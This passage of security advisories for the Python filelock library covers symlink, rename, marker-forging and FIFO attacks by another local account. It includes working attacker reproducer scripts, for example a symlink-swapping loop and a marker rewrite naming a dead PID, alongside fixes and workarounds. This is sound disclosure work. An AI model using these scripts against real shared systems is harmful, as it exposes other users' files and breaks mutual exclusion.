journalfd = os.open(f"{shareddirectory}/victim-journal.log", os.OWRONLY | os.OCREAT | os.OAPPEND, 0o600) UnixFileLock opens the lock file ORDWR, so a lock that other users of the directory also take needs mode=0o666 lock = FileLock(f"{shareddirectory}/jobs.lock", mode=0o666, timeout=5)
for job in sys.stdin: with lock: os.write(journalfd, f"ran {job}".encode()) print("done", flush=True)
Attack sequence
mermaid sequenceDiagram participant A as other account participant D as shared directory (writable, not sticky) participant V as lock user: FileLock("jobs.lock", mode=0o666) participant K as kernel Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it) A->>D: mv victim-journal.log jobs.lock (one rename, no race) V->>K: open(jobs.lock, ORDWR|ONOFOLLOW|OCREAT|OEXCL) -> EEXIST V->>K: open(jobs.lock, ORDWR|ONOFOLLOW) -> fd (regular file, created=False) V->>K: flock(fd, LOCKEX|LOCKNB) -> ok (no holder) rect rgb(255, 214, 214) V->>K: fstat(fd), stnlink != 0 V->>K: ftruncate(fd, 0) V->>K: fchmod(fd, 0o666) Note over V,K: the journal's inode is now empty and world read-write, still owned by victim end V->>K: write("ran job 2 <secret>") through the journal descriptor it still holds A->>D: read jobs.lock -> "ran job 2 <secret>"
Evidence
The scanner reproducer (victim and attacker accounts, root-created 0777 directory without the sticky bit under /tmp, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock FileLock(path, mode=0o666, timeout=5)). It printed CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\n' and CONTROL attacker reads the journal: 'permission denied\n'. After the rename and the second job of victim it printed OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\n' and OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\n', last line BUG. The verdict requires that the earlier read by attacker failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from 0600 to 0666, and that the later read by attacker contains the secret. It runs in under a second with no race. The scanner ran the two-name and link(2) variants above by hand at the same commit (commands and results in its report), not through the script.
Maintainer triage: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image. The independent review (soft-open) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.
Impact
The file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive mode, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.
Somebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, ftruncate and fchmod, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.
Workarounds
- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep fs.protectedhardlinks=1 (the default on mainstream distributions), which closes the hard-link route. - Do not pass a permissive explicit mode (0o666, 0o660, 0o644) unless accounts share the lock; without a mode the exposure is the truncation only. - Keep the lock file in place (preservelockfile=True). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it. - Where the lock does not need flock semantics, SoftFileLock applies its mode only to the marker it created with OEXCL and does not truncate an existing file.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/835
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner) - 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to ANT-2026-KO573NWI; the other three security findings have their own advisories) - 2026-10-16 01:16 UTC: fix PR #835 opened
raiseonnotwritablefile() is the check that SoftFileLock and the locks sharing its acquire path run before every attempt. It looks at the lock path with os.lstat, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls os.access(filename, os.WOK), which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-0466 file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's acquire() ends in PermissionError within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary Timeout otherwise.
That yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, fs.protectedsymlinks (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as /tmp. It does not block it in a 0777 directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0.
Anthropic's OSS Scanner reported this in private. Finding covered by this advisory:
- ANT-2026-RQ91AXTW [medium, CWE-59]: Symlink TOCTOU in raiseonnotwritablefile leaks file existence.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N scores 2.5 (Low).
AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:H (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. C:L (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. I:N and A:N (no integrity or availability impact). S:U (scope unchanged).
Classification from the review: security, conditional, "a one-bit probe of a victim-only path" that "Linux protected symlinks block in the common sticky /tmp case, but not every shared directory". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield.
Scope and preconditions
- The affected classes are SoftFileLock and everything that reuses its acquire: MarkerSoftFileLock, SoftFileLease, the async soft locks, and FileLock after an ENOSYS fallback to a soft lock. UnixFileLock itself does not call the helper. WindowsFileLock.acquire() does, but on Windows os.access reads the link's own read-only attribute and does not follow it; that branch did not run. - The other user must be able to create entries in the lock's directory. With Linux defaults (fs.protectedsymlinks=1) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. /tmp therefore gives PermissionError for every target and leaks nothing. A 0777 directory without the sticky bit, or a sticky group-writable one (1770 with a shared group), has no such cover and leaks as described. macOS and the BSDs have no fs.protectedsymlinks, and a symlink there has mode bits of its own, so one without the owner-write bit would reach os.access with no swap at all (not executed). - The swap is practical only with a second CPU for the other user. - The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (PermissionError ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode 0o066, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone. - The ONOFOLLOW open that follows the check is not affected. The lock does not read, create or modify anything through the symlink.
Affected code
Scanned commit b831496b0273: in raiseonnotwritablefile, the os.lstat that states the invariant and the os.access call that follows symlinks; the call from SoftFileLock.acquire at the start of every poll.
Introduced
f2f7b86 "fix: respect ACL write access when the owner write bit is absent" (#728, 2026-09-08), first tag 3.32.6 (verified), appended the os.access call to the not SIWUSR test. #567 (022394c, first tag 3.29.5) had changed the helper from os.stat to os.lstat so that a symlink planted at the lock path could not probe its target.
Mechanism
SoftFileLock.acquire calls the helper first, once per pollinterval (0.05 s by default) for as long as the lock user waits. The helper runs os.lstat(path). When the node has no SIWUSR it runs os.access(path, os.WOK, effectiveids=...) without followsymlinks=False. On current Linux that is faccessat2(ATFDCWD, path, WOK, ATEACCESS), which resolves a symlink. If that returns false, a second os.lstat confirms a node is still there and the helper raises PermissionError. The other user's planted file has mode 0466: no owner-write bit, which sends the helper on to os.access, and other-writable, so that os.access on the file itself says yes. The other user alternates the file and a symlink at the path (os.replace of a fresh symlink, then os.replace of a hard link to the marker; the lock would evict a symlink left for 2 s as a malformed marker).
One call of the helper then goes one of three ways. First, lstat sees the symlink (mode 0777 on Linux, SIWUSR set), os.access is not called, the helper returns. Second, lstat sees the file and os.access sees the file: true, returns. Third, lstat sees the file and os.access sees the symlink, resolved to its target with the lock user's permissions: returns if the lock user may write the target, otherwise raises PermissionError. After a return, the OCREAT | OEXCL | ONOFOLLOW open fails with EEXIST and the poll ends as "lock is held". PermissionError therefore comes only from the third way and only for a target the lock user cannot write, and it leaves acquire() at once instead of after the timeout.
The scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as victim (uid 1000, 0700 private directory). An existing file or directory of victim: 0 PermissionError. A missing name there gives 311 to 339. A 0444 file of victim: 433 to 460. /etc/passwd or /etc/shadow: 237 to 422. With root taking the lock the answer is plain existence, 0 for /etc/shadow and /root/.bashrc, 366 for a missing name under /root. A symlink alone at the path, without the swap, tells nothing (2 000 Timeout of 2 000 for both targets, then evicted as malformed after 2 s).
Reproduction
The scanner's reproducer for ANT-2026-RQ91AXTW, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys import time
VICTIMJOB = "/tmp/repro.d/victimjob.py" ATTACKER = "/tmp/repro.d/attackerswapslockpath.py" privatedir = "/tmp/victim-private" shareddir = "/tmp/team-locks" lockpath = shareddir + "/app.lock" asvictim = dict(user="victim", group="victim", extragroups=[]) asattacker = dict(user="attacker", group="attacker", extragroups=[])
assert len(os.schedgetaffinity(0)) >= 2, "the attacker's swap needs a CPU of its own"
set up: victim's 0700 directory holds "present" and no "absent" shutil.rmtree(privatedir, ignoreerrors=True) os.mkdir(privatedir, 0o700) open(privatedir + "/present", "w").close() shutil.chown(privatedir + "/present", "victim", "victim") shutil.chown(privatedir, "victim", "victim")
jobendedwith = {} for name in ("present", "absent"): probedpath = f"{privatedir}/{name}" attackersstat = subprocess.run(["stat", probedpath], captureoutput=True, text=True, asattacker) assert attackersstat.returncode != 0, "attacker can stat the probed path directly" print(f"CONTROL attacker's own look: {attackersstat.stderr.strip()}")
# 0777 without the sticky bit: fs.protectedsymlinks does not cover it shutil.rmtree(shareddir, ignoreerrors=True) os.mkdir(shareddir) os.chmod(shareddir, 0o777)
# attack: the lock path keeps alternating between a held marker and a symlink to probedpath attacker = subprocess.Popen([sys.executable, ATTACKER, lockpath, probedpath], asattacker) deadline = time.monotonic() + 10 while not os.path.lexists(lockpath): assert time.monotonic() < deadline, "attacker did not plant the lock path" time.sleep(0.01)
started = time.monotonic() job = subprocess.run([sys.executable, VICTIMJOB, lockpath], captureoutput=True, text=True, asvictim) waited = time.monotonic() - started attacker.kill() attacker.wait()
jobendedwith[name] = (job.stderr or job.stdout).strip().splitlines()[-1] # last line of the traceback print(f"OBSERVED {probedpath} exists={os.path.exists(probedpath)} (read as root); " f"victim's job ended after {waited:.1f} s with: {jobendedwith[name]}")
check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart timeoutwherepresent = jobendedwith["present"].startswith("filelock.error.Timeout:") permissionerrorwhereabsent = jobendedwith["absent"].startswith("PermissionError:") print("BUG" if timeoutwherepresent and permissionerrorwhereabsent else "OK")
repro.d/attackerswapslockpath.py
python #!/usr/bin/env python3 import os import sys import time
lockpath, probedpath = sys.argv[1], sys.argv[2] heldmarker = lockpath + ".held" staged = lockpath + ".staged"
with open(heldmarker, "w") as marker: marker.write("1\nanother-host\n") # pid 1 on another host: never judged stale, so the victim keeps polling no u+w sends raiseonnotwritablefile() on to os.access(); o+w makes os.access() pass for this file itself os.chmod(heldmarker, 0o466)
giveupat = time.monotonic() + 60 while time.monotonic() < giveupat: # a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker os.symlink(probedpath, staged) os.replace(staged, lockpath) os.link(heldmarker, staged) os.replace(staged, lockpath)
repro.d/victimjob.py
python #!/usr/bin/env python3 import sys
from filelock import SoftFileLock
with SoftFileLock(sys.argv[1], timeout=5): print("working under the lock")
Attack sequence
mermaid sequenceDiagram participant A as other account (second CPU) participant L as app.lock in a 0777 non-sticky directory participant V as lock user: SoftFileLock(path, timeout=5) participant P as /home/victim/private (0700) A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time) loop every few microseconds A->>L: os.replace(fresh symlink -> /home/victim/private/absent) A->>L: os.replace(hard link to the 0466 marker) end loop every pollinterval (0.05 s) V->>L: os.lstat -> regular file, no SIWUSR rect rgb(255, 214, 214) V->>L: os.access(path, WOK) lands on the symlink L->>P: resolved to /home/victim/private/absent with the lock user's permissions P-->>V: False (missing) V->>L: os.lstat -> a node is there V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s end end A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user)
Evidence
The scanner reproducer runs with victim uid 1000 owning /tmp/victim-private mode 0700 holding present and not absent; attacker uid 1001, no shared group; lock directory /tmp/team-locks root-owned 0777 without the sticky bit; fs.protectedsymlinks=1; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied and then OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock.error.Timeout .... For the other target it printed CONTROL ... '/tmp/victim-private/absent': Permission denied and OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock', then BUG. The verdict requires the job for present to end in Timeout and the job for absent in PermissionError. In 40 runs a blocking acquire met its first PermissionError after 0.1 to 0.7 s.
In the maintainers' triage the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image. The independent review (soft-open) confirmed the mechanism and checked on macOS that os.access there supports followsymlinks, relevant to the platform note above.
Impact
A local user who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a 0700 home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same PermissionError as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early PermissionError is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added.
Workarounds
- Keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with fs.protectedsymlinks=1 (the default), where the kernel refuses to follow another user's symlink and the check leaks nothing. - Do not take soft locks as root in directories other users can write. - Where a group-shared directory is unavoidable, give the marker an owner-write bit (the default mode does) and do not rely on ACL-granted access, so the os.access branch is not reached for the lock user's own marker. The other user's planted 0466 file still reaches it, so this only narrows the window.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/835
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (36 findings; this one rated medium by the scanner) - 2026-10-16 05:38 UTC: draft advisory created (first as part of GHSA-69hj-f68j-2879, then split out) - 2026-10-16 01:16 UTC: fix PR #835 opened
SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async variants and a FileLock that has fallen back to a soft lock on ENOSYS decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record.
A local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit mode with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding ANT-2026-W1H9NXUH).
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N scores 4.7 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:H (high attack complexity): the marker must carry group or other write bits (an explicit permissive mode, or umask 002/000 with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. I:H (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. C:N and A:N (no confidentiality or availability impact). S:U (scope unchanged). Classification from the review: security, conditional on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask 022 is not affected.
Scope and preconditions
- The other user can write the marker. The application passes a mode with group or other write bits, which fchmod applies as given since 4.1.0. 0o666 is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a 0o644 marker, since contenders only read and rename. Or the application uses the default mode (0o666 through the umask) under umask 002 in a directory whose group the other user belongs to, or under umask 000. The default mode under umask 022 is not affected. - The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a 0755 directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing. - A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out. - The finding reaches every class that publishes a soft marker: SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async variants, and FileLock(mode=0o666) on a filesystem where flock (a kernel lock on an open file) fails with ENOSYS.
These protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.
Affected code
At the scanned commit b831496: the create mode in SoftFileLock.acquire, the explicit-mode fchmod in applyexplicitmode, the trusting verdict in trybreakstalelock and the ownerisstale it relies on; the same call in MarkerSoftFileLock and SoftFileLease.
Introduced
The stale verdict that trusts the record came in with e35c3afac473 ("feat(soft): detect and break stale locks", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The reproducer's exact configuration, an explicit mode=0o666 under umask 022, needs 66d309d ("fix(soft): honour mode and tighten marker grammar", #807), first released in 4.1.0. Both match the git tags.
Mechanism
A contender whose OCREAT | OEXCL create fails with EEXIST goes to trybreakstalelock. readlockfile makes sure the path is a regular file (lstat, ONOFOLLOW open, fstat) and returns its content, mtime and inode (the kernel's identity for a file, independent of its name). It has the fstat result in hand but does not look at stuid or stmode. The code parses the content into pid, hostname and start token and hands them to ownerisstale, whose docstring promises to return True "only when this process can prove the exact recorded owner is dead". That proof holds only if the owner wrote the record. A process of another account that can open the marker for writing uses OWRONLY | OTRUNC (no OCREAT, so fs.protectedregular does not block it) and writes 2147483647\n<host>\n, keeping the host line. The host matches, PID 2147483647 does not exist, and ownerisstale returns True.
breaklockfile renames the marker to <lock>.break.<pid>.<token> and unlinks it. Its mtime and inode guard compares against what the contender read after the rewrite, so it passes. The contender, which runs as the marker's owner, does the rename, so the sticky bit allows it. On the next poll the contender's OEXCL create succeeds. The first holder is not told: SoftFileLock has no heartbeat, and on release unlinkopenmarker finds another inode or no file at the path and returns without an error.
Other records lead to the same break, each run by the scanner the same way: the holder's own PID and host with a different third line (ownerisstale reads a live PID with another start token as a recycled PID); an empty file (malformed, broken after MALFORMEDLOCKAGETHRESHOLD, 2 s). MarkerSoftFileLock and SoftFileLease apply ownerisstale to the pid=, host= and start= fields of a protocol 2 record, and rewriting pid= admitted a second process for both. A SoftFileLease holder learns of it at its next heartbeat through oncompromise; SoftFileLock and MarkerSoftFileLock holders do not learn of it at all.
The marker becomes writable by another account in two ways. An explicit mode with group or other write bits goes through fchmod, so the umask does not narrow it (testlockmodesoft at the scanned commit pins -rw-rw-rw- under umask 022). The default mode passes 0o666 to os.open, so under umask 002 the marker is 0o664. With no mode argument, in a setgid and sticky group directory (3770), a second member of the group rewrote the marker and a second process of the holder's user acquired the same way. Under umask 000 the marker is 0o666 and any local user can rewrite it. FileLock(mode=0o666) on a filesystem where flock fails with ENOSYS falls back to SoftFileLock and produces the same -rw-rw-rw- marker (confirmed with fcntl.flock replaced by a stub raising ENOSYS). With mode=0o644, or no mode under umask 022, the other user's open fails with EACCES and the second process times out.
Reproduction
The scanner's reproducer for ANT-2026-W1H9NXUH, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import pwd import shutil import stat import subprocess import sys import tempfile import time
root bypasses file permissions, so each party runs as one of the image's unprivileged accounts ASVICTIM = ["runuser", "-u", "victim", "--", sys.executable] ASATTACKER = ["runuser", "-u", "attacker", "--"] WORKER = "/tmp/repro.d/worker.py" REWRITEMARKER = "/tmp/repro.d/rewritemarker.py"
set up: a sticky, world-writable directory like /tmp; both workers print "entered" / "left" into one shared log shareddir = tempfile.mkdtemp(prefix="shared-", dir="/tmp") os.chmod(shareddir, 0o1777) lockpath = os.path.join(shareddir, "cache.lock") logpath = os.path.join(shareddir, "order.log") log = open(logpath, "w")
first = subprocess.Popen([ASVICTIM, WORKER, lockpath, "first", "6"], stdout=log) while "first entered" not in open(logpath).read(): assert first.poll() is None, "the first worker did not get the lock" time.sleep(0.05)
marker = os.stat(lockpath) print("marker:", stat.filemode(marker.stmode), pwd.getpwuid(marker.stuid).pwname, repr(open(lockpath).read()))
before the attack: the second worker times out, and the attacker cannot delete the marker from the sticky directory secondbefore = subprocess.run([ASVICTIM, WORKER, lockpath, "second", "0.5"], stdout=log, stderr=subprocess.PIPE, text=True) print("second worker:", secondbefore.stderr.splitlines()[-1]) assert "Timeout" in secondbefore.stderr rm = subprocess.run([ASATTACKER, "rm", "-f", lockpath], captureoutput=True, text=True) print("attacker:", rm.stderr.strip()) assert rm.returncode != 0
attack: no check=True, because under a fix the marker is not writable by others, and then this step fails subprocess.run([ASATTACKER, sys.executable, REWRITEMARKER, lockpath]) print("marker after the attack:", repr(open(lockpath).read()))
the second worker tries again, exactly as before subprocess.run([ASVICTIM, WORKER, lockpath, "second", "0.5"], stdout=log) print("first worker exit status:", first.wait())
check: a correct lock keeps the second worker out until the first has left order = open(logpath).read().splitlines() print("order:", order) shutil.rmtree(shareddir) print("BUG" if order == ["first entered", "second entered", "second left", "first left"] else "OK")
repro.d/rewritemarker.py
python #!/usr/bin/env python3 The attacker, another account: overwrite the live holder's record in place with one naming a PID that cannot exist. import os import sys
lockpath = sys.argv[1] NOSUCHPID = 231 - 1 # the largest PID the marker parser accepts; Linux pidmax is at most 222
holderhost = open(lockpath).read().splitlines()[1] # ownerisstale only judges records from its own host marker = os.open(lockpath, os.OWRONLY | os.OTRUNC) # no OCREAT, so fs.protectedregular does not refuse it os.write(marker, f"{NOSUCHPID}\n{holderhost}\n".encode()) os.close(marker)
repro.d/worker.py
python #!/usr/bin/env python3 One of several workers of the victim's application; they take turns under a soft lock in a shared directory. import sys import time
from filelock import SoftFileLock
lockpath, name, workseconds = sys.argv[1], sys.argv[2], float(sys.argv[3])
mode=0o666 so that the lock file can be used from several accounts with SoftFileLock(lockpath, mode=0o666, timeout=1): print(name, "entered", flush=True) time.sleep(workseconds) print(name, "left", flush=True)
Attack sequence
mermaid sequenceDiagram participant H as holder (uid victim) participant M as cache.lock (0666, owner victim, sticky dir) participant A as other account (uid attacker) participant C as contender (uid victim) H->>M: OCREAT|OEXCL create, fchmod 0o666, write "pid host token" C->>M: OEXCL fails, read record: holder alive, Timeout A->>M: rm: EPERM (sticky directory) rect rgb(255, 214, 214) A->>M: open OWRONLY|OTRUNC, write "2147483647 host" C->>M: read record, ownerisstale: PID 2147483647 is dead C->>M: rename to cache.lock.break., unlink (the owner may) C->>C: next poll: OEXCL succeeds, enters beside H Note over H,C: both inside, no error, H's release finds another inode and returns end
Evidence
The scanner's reproducer runs two victim workers on with SoftFileLock(path, mode=0o666, timeout=1): in a root-owned 1777 directory under /tmp (overlayfs, fs.protectedregular=2), with attacker uid 1001 sharing no group with victim. It printed the marker as -rw-rw-rw- victim '<pid>\n<host>\n<start token>\n', the second worker's Timeout, rm: cannot remove ...: Operation not permitted for attacker, the marker after the rewrite as '2147483647\n<host>\n', first worker exit status 0, and the log order ['first entered', 'second entered', 'second left', 'first left']. The second worker entered and left while the first was still inside its with block, about 50 ms after the rewrite, on its second poll. It prints BUG every time, in about 6 s. Our review ran the same reproducer: BUG on 4.2.0, OK on the head of #836. The review also tried umask 000 with the default mode.
Impact
A local user who can write a soft lock's marker but cannot remove it gets a second process admitted into the critical section while the first holder is still inside. With no lifetime set, SoftFileLock and MarkerSoftFileLock give neither process a signal. Whatever the lock protects (a cache, an install directory, a state file) then has two concurrent writers. The other user chooses the moment and gains nothing else: it touches no file other than the marker. The process that rewrites the record runs under a different UID from the holder; the same-UID contender only follows the protocol.
Workarounds
Do not give soft markers group or other write bits: pass no mode (or mode=0o644) under umask 022. A soft-lock contender of another account waits as well on a 0o644 marker, because contenders only read and rename. The write bits matter only for the native flock lock and for FileLock's first open before it falls back to a soft lock. Avoid umask 002 or 000 for processes that take soft locks in directories shared with other accounts, and keep lock files in a directory other users cannot write.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/836
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (finding ANT-2026-W1H9NXUH, scanned commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory - 2026-10-16 01:16 UTC: fix PR #836 opened
SoftReadWriteLock (and AsyncSoftReadWriteLock, which wraps one) refreshes its holder record (the file under <path>.rw/holders/ that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening <path>.rw/holders/<token> by name with a plain blocking OWRONLY | ONOFOLLOW open and writing at offset 0, without checking what it opened. ONOFOLLOW makes the open fail only when the final name is a symbolic link (a file that redirects to another path).
A different local user (the other user below) who owns the lock's .rw tree reads the token of the user running the lock (the lock user below) from the holders/ listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as /tmp (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit.
A FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's writelock() / readlock() hang regardless of timeout. It also stops a lock holder's heartbeat thread without oncompromise (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux.
Where the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with fs.protectedhardlinks=0; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as ANT-2026-AT33VEVC [medium, CWE-62], titled "SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs".
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).
AV:L (local): the other user needs an account on the same host. AC:L (low attack complexity): on a default Linux there is no race. PR:L (low privileges): a local user with ordinary privileges is enough. UI:N (no user interaction): the lock user's process acts on its own. C:N (no confidentiality impact): the other user learns nothing. I:L (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. A:H (high availability impact): the other user makes a lock user's acquire outlast any timeout and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock.
Classification from the external review: conditional security. The owner of a planted .rw tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium.
Scope and preconditions
- Trust boundary: the other party is a different local account that owns the lock's .rw tree. Either it created <path>.rw (with gen/ and holders/) before the lock's first use in a sticky directory such as /tmp, where prepare() adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created 0777 directory). There being first is not needed, because the other user renames the lock user's own 0700 tree aside and puts its own in place; prepare() does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode 0700) is out of reach. - FIFO variant: needs only that boundary. It works on a default Linux. fs.protectedhardlinks plays no part, and fs.protectedfifos=1 (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers OCREAT opens in sticky directories only, and the other user renames the FIFO into place inside its own holders/. - Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with fs.protectedhardlinks=0 (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with 1, under which the other user's link() fails with EPERM (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their link(2) semantics, and the scanner did not execute it. The target must be a regular file the lock user may write, on the same filesystem as the lock, in a directory the other user can search. A 0600 file in a 0755 home directory qualifies; a file under a 0700 directory does not. - Platform: observed on Linux 6.1. AsyncSoftReadWriteLock runs the same code through an executor thread and loses that thread (from the code, not run). On Windows named pipes cannot live in a regular directory, so there is no FIFO case there. - Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky.
Affected code
At the scanned commit b831496b0273, OsFiles.overwrite opens by name with OWRONLY | ONOFOLLOW and writes without fstat (fstat would report the type of the file behind the open descriptor), while read just above it uses ONONBLOCK and a regular-file check. The blocking open is attemptopen via open. prepare adopts an existing tree whoever owns it. The single caller is Participant.refreshnonce, reached from keepclaimfresh on every poll of a waiting acquire and from heartbeat, which knows only lost and transient, not a call that does not return. The acquire loop checks its deadline and the closed flag only after advance() returns (sync.py lines 584–592). The code maps the heartbeat outcome at lines 603–613, and release joins the heartbeat thread for heartbeatinterval + 1 at line 446.
Introduced
The unguarded reopen came with f974328 ("fix(soft-rw): replace the state mutex with a generation log (#738)", 2026-09-17), which dropped the earlier marker code's check of the opened descriptor. It was first released in 4.0.0 (verified with git tag --contains f974328, which answers 4.0.0).
Mechanism
